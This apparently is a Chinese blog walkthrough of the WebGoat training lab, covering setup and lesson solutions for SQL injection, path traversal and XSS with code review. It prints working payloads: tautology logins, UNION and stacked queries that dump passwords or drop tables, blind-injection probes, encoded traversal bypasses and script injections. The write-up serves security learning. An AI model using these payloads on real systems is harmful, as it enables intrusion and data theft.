前言


补补基础

只是单纯打靶场的可以直接使用docker部署,如果目的是代码审计的话,环境搭建参考drun1baby师傅的blog:
一文解决搭建WebGoat的所有问题 | Drunkbaby’s Blog (drun1baby.top)

使用docker部署
拉取镜像

1
2
3
4
docker search webgoat 
docker pull webgoat/webgoat-8.0:v8.1.0
docker pull webgoat/webwolf:v8.1.0
docker pull webgoat/goatandwolf:v8.1.0

运行容器

1
docker run -d -p 8888:8888 -p 8081:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0

测试是否成功,访问靶场http://ip:8888
image.png

成功。其中webgoat:v8.1.0所对应的java版本为jdk11.0.1


笔者选择的是源码部署,webgoat使用mvn进行构建,因此只需要配置好mvn配置,就可以自动的对所需的依赖进行安装了。
环境:

1
2
3
4
5
windows11
idea2024
WebGoat2023.4
jdk17
maven3.9.8

改maven的settings.xml,改源为阿里云的。

1
2
3
4
5
6
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>

改webgoat项目的pom.xml文件
image.png

刷新maven开始安装。安装完毕后发现还有依赖没法安装,比如“dependency-check-maven”,注释掉即可。
最后双击shift,查找startwebgoat,运行即可启动项目。
参考:0-webgoat源码部署和调试 - 知乎 (zhihu.com)

General


都是一些基础的东西,就不在赘述了。

Crypto Basics lesson 6

题目给了一个rsa的私钥,要求我们算出

  1. rsa密钥的模数
  2. 使用该密钥计算签名

使用openssl工具,使用私钥算公钥

1
openssl rsa -in test.key -pubout > test.pub

然后使用公钥算公钥的modulus

1
openssl rsa -in test.pub -pubin -modulus -noout

最后使用公钥的modulus获取私钥的签名

1
2
echo -n "<s上方获取的modulus>" | openssl dgst -sign test.key -s
ha256 -out sign.sha256

然后将sign.sha256文件进行base64编码

1
openssl enc -base64 -in sign.sha256 -out sign.sha256.base64

(A3)Injection


SQL Injection (intro)

lesson2 select

直接查询即可

1
select department from Employees where first_name = 'Bob' and last_name = 'Franco' ;

代码审计
image.png

  • 创建了一个 Statement 对象,并指定了 TYPE_SCROLL_INSENSITIVE(对底层数据变换不敏感 )和 CONCUR_READ_ONLY (只读)作为查询的类型和并发控制。
  • statement.executeQuery(query),直接执行传入的query。没有任何过滤。

lesson3 update

DML commands are used for storing, retrieving, modifying, and deleting data.
DML 命令用于存储、检索、修改和删除数据。

1
2
3
4
SELECT
INSERT
UPDATE
DELETE

题目要求:尝试将 Tobi Barnett 的部门更改为“销售”

UPDATE语法

1
UPDATE <tablename> SET <column> = '' WHERE ...

payload

1
UPDATE Employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett';

代码审计
image.png

  • 和上题类似,没什么好说的

lesson4 alter

DDL commands are used for creating, modifying, and dropping the structure of database objects.
DDL 命令用于创建、修改和删除数据库对象的结构

1
2
3
CREATE
ALTER
DROP

题目要求:在表 “employees ”中添加列 “phone”(varchar(20))

ALTER语法

1
ALTER TABLE <tablename> ADD <columnname> <columnType>

payload

1
ALTER TABLE employees ADD phone varchar(20);

代码审计
image.png

  • 和上题类似,没什么好说的

lesson5 grant

DCL commands are used for providing security to database objects.
DCL 命令用于为数据库对象提供安全保护。

1
2
GRANT   授权
REVOKE 取消授权

题目要求:尝试授予用户组 “UnauthorizedUser ”更改表的权限

GRANT语法

1
GRANT <权限> ON <TABLE_NAME> TO <USER>;

payload

1
GRANT ALL ON grant_rights TO unauthorized_user;

代码审计
image.png

  • connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE))创建了一个Statement 对象,类型为 TYPE_SCROLL_INSENSITIVE,允许滚动 ResultSet,并使用 CONCUR_UPDATABLE,表示可以更新结果集。
  • statement.executeQuery(query);也是输入直接用与sql执行。
  • checkSolution 函数使用了 PreparedStatement,对 TABLE_NAMEGRANTEE 参数进行绑定

lesson9 万能密码

题目直接告诉我们查询语句,万能密码
payload

1
Smith’ or ‘1’=’1

lesson10 数字型注入

测试后发现

1
 unknown token: in statement [SELECT * From user_data WHERE Login_Count = ? and userid= 111u2018]

存在数字型注入的地方在User_Id
payload

1
2
1
1 or 1=1

代码审计

1
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;

lesson11 String SQL injection

image.png
根据题意,The system requires the employees to use a unique authentication TAN to view their data.则漏洞点更可能在auth_tan处。

1
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

简化一下:

1
SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx';

构造payload

1
SELECT * FROM employees WHERE last_name = '123' AND auth_tan = '123' or '1' = '1';

即为:

1
2
123
123' or '1' = '1

代码审计

lesson12 SQL query chaining

其实就是堆叠注入。
image.png
和上题一样,简化后的:

1
SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx';

构造payload

1
SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith';

即:

1
1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith

这里刚好最后是个分号,也可以写成这样,把sql语句后面部分注释掉。

1
SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith--+';

代码审计
与上题一致

lesson13 Compromising Availability

破坏可用性,删库呗
image.png
poyload

1
1';drop table access_log; --+

至此,该部分通关

SQL Injection (advanced)

特殊符号
注释符

1
2
/* */          are inline comments
-- , # are line comments

堆叠注入

1
;  执行多条语句

连接符

1
2
3
4
',+,||         allows string concatenation
Char() strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

联合查询注入

1
2
-1' order by 3 --+
-1' union select 1,2,3 from xxx --+

判断列数的其他方法:通过 UNION SELECT NULL 来判断列数

1
2
3
' UNION SELECT NULL --  
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
  • 特别需要注意的:在 Oracle 数据库中,需要改为
    1
    UNION SELECT NULL FROM DUAL --

Joins

1
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

lesson3

两个任务:

  • Retrieve all data from the table
  • What is Dave’s password?

image.png
有很多方法可以解,根据报错得到sql语句

1
 SELECT * FROM user_data WHERE last_name = '1';

方法1:堆叠注入
构造payload

1
 SELECT * FROM user_data WHERE last_name = '1';select * from user_system_data--+';

1
1';select * from user_system_data--+

方法2:联合查询注入
构造payload,由于不在同一个表中,所以使用order by探测是没有必要的。而题目恰好给了我们列数,user_system_data 有4列:userid, user_name, password, cookie,需要将其补齐到7列,和user_data一致。
user_system_data :userid, user_name, password, cookie
user_data:USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
构造payload

1
 SELECT * FROM user_data WHERE last_name = '1'union select userid, user_name,password,null,null,cookie,null from user_system_data--+';

1
1' union select userid, user_name,password,null,null,cookie,null from user_system_data--+

代码审计
image.png

  • 多了个check,是否使用union,还是没有对sql语句做处理。

lesson4 Blind SQL injection

盲注,无回显。但可以通过true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错)来判断。

布尔盲注
判断注入点

1
2
1' and 1=1 // 页面返回有数据  
1' and 1=2 // 页面返回无数据

判断字段数

1
2
3
1' order by 2 -- // 页面返回有数据  
1' order by 3 –- // 页面返回无数据
判断出当前页面字段数为 2

时间盲注
判断是否存在时间盲注

1
1' and sleep(5)--

lesson 5 login

Goal: Can you log in as Tom?

界面中有 Login 与 Register 两个界面,我们依次寻找注入点
最后发现注入点在Register界面的username处。
原因是我注册的用户为11,当我的输入为11' or '1' = '1时,我得到的回显应该为xxx注册成功之类的,但我得到的是User 111' or '1' = '1 already exists please try to register with a different username.说明存在SQL注入,且语句被解析。
image.png

思路:爆表,爆库,爆列最后爆值
爆表,构造payload

1
 SELECT * FROM xxx WHERE xxx = '1' or substring(select schema_name from information_schema.schemata limit 0,1),1,1) = 'a';--+';
  • 需要改动 substring 的数值,例如,爆出第一位之后,需要改变payload 为 substring(语句,2,1) 用来爆破第二位。
    爆表
    1
    1'+or+substring(select+schema_name+from+information_schema.schemata+limit+0,1),1,1)='a';--+
    爆列
    1
    1'+or+substring(select+column_name+from+information_schema.columns+where table_name='<table_name>' limit 0, 1), 1, 1)='a';--+
    爆数据
    1
    tom' and substring(password,1,1)='a
    注意burpsuite设置一下延时

代码审计

image.png

  • 只存在3个参数,checkArguments函数只存在3个参数,username_reg, email_reg, password_reg
  • sql查询语句查的是 username_reg,
  • 判断条件为if (username_reg.contains(“tom’”))

SQL Injection (mitigation)

SQL注入的基本防御手段

Immutable Queries不可变查询

Static Queries静态查询

1
2
String query = "SELECT * FROM products";
String query = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'";

Parameterized Queries参数化查询

1
2
3
4
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

Stored Procedures存储过程

Only if stored procedure does not generate dynamic SQL仅在存储过程不生成动态 SQL 的情况下使用。

lesson5 Writing safe code

image.png

lesson9 Input validation alone is not enough!

1
1';select/**/*/**/from/**/user_system_data--/**/ss

lesson10

1
1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+

Path traversal

lesson2 uploading files

目录穿越
image.png
代码审计

image.png

  • 注意uploadedFile和fullName,其中@RequestParam("uploadedFile") MultipartFile fileMultipartFile是 Spring 框架提供的一个接口,用于表示处理文件上传的对象。此处是将其作为 MultipartFile 对象传递给控制器方法中的 file 参数。
  • fullName是文件名
  • return super.execute(file, fullName);调用了父类的execute()方法,我们来看看父类是怎么写的

image.png

  • 先判断是否传入文件
  • 然后调用cleanupAndCreateDirectoryForUser(),该方法规定了目录 /PathTraversal/UserName
  • 然后直接createNewFfile()
    1
    2
    var uploadedFile = new File(uploadDirectory, fullName);  
    uploadedFile.createNewFile();

lesson3 uploading files fix

双写绕过

1
fullname = ....//

代码审计
image.png

  • 依旧是继承ProfileUploadBase类,waf加在了对fullname的处理上,将../替换为""

双写绕过即可。

lesson4 uploadedFileRemoveUserInput

漏洞点在filename中
image.png

代码审计
image.png

lesson5 ProfileUploadRetrieval

Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal is possible to retrieve other files from the system. In this assignment, try to find a file called path-traversal-secret.jpg
路径遍历并不局限于文件上传;在检索文件时,路径遍历也可以检索系统中的其他文件。在本作业中,请尝试查找名为 path-traversal-secret.jpg 的文件。

没思路,审代码

image.png

  • 过滤掉了../
  • 需要以get的形式传入一个名为id的参数
  • 拼接.jpg

url编码一下即可绕过

1
../    ->   %2e%2e%2f

image.png
最终payload

1
%2e%2e%2f%2e%2e%2fpath-traversal-secret

image.png

lesson7 ProfileZipSlip

代码审计
image.png

  • 一定要传zip文件

然后调用processZipUpload()创建一个临时目录,再调用cleanupAndCreateDirectoryForUser(),然后是对文件的复制和解压缩
image.png

  • 上传的 zip 文件被保存到临时目录。
  • 然后通过 ZipFile 类来读取 zip 文件并提取其中的内容。
  • 对每一个 zip 条目,创建相应的文件并将条目的内容写入到该文件。
    也就是说解析了文件夹下的文件内容

答案在lesson 8

Cross Site Scripting


lesson 2 What is XSS?

  • The cookies should be the same on each tab.

lesson 7

在field1处,payload

1
<script>alert('111')</script>

代码审计
image.png
只有field1是直接拼接上去的

lesson 10 Identify potential for DOM-Based XSS

题目中说:So, what is the route for the test code that stayed in the app during production? To answer this question, you have to check the JavaScript source.

所以直接进入代码审计步骤。
DOM 型 XSS 全部都是由前端进行触发的,所以这里审的是前端代码即可。

F12全局搜索和test或者route有关的js路由,发现GoatRouter.js
image.png
找到testRoute方法
image.png
按照mvc的规范找testHandler方法
image.png
然后找showTestParam方法
image.png
这里没做任何处理,直接拼接,存在xss漏洞

题目提示:

Your objective is to find the route and exploit it. First though, what is the base route? As an example, look at the URL for this lesson …​it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The ‘base route’ in this case is: start.mvc#lesson/ The CrossSiteScripting.lesson/9 after that are parameters that are processed by the JavaScript route handler.您的目标是找到路由并加以利用。首先,基本路由是什么?举个例子,看看本课的 URL……它应该是 /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9。这里的 “基本路由 ”是:start.mvc#lesson/ 后面的 CrossSiteScripting.lesson/9 是 JavaScript 路由处理程序要处理的参数。

那么可以得出,本题答案为:

1
2
start.mvc#test
# 注意去掉`/`

攻击的payload可以写成

1
2
3
4
/start.mvc#test/<script>alert("111")</script>

# url_encode
start.mvc#test/%3Cscript%3Ealert(%22111%22)%3C%2Fscript%3E

代码审计后端

image.png

lesson 11 Try It! DOM-Based XSS

image.png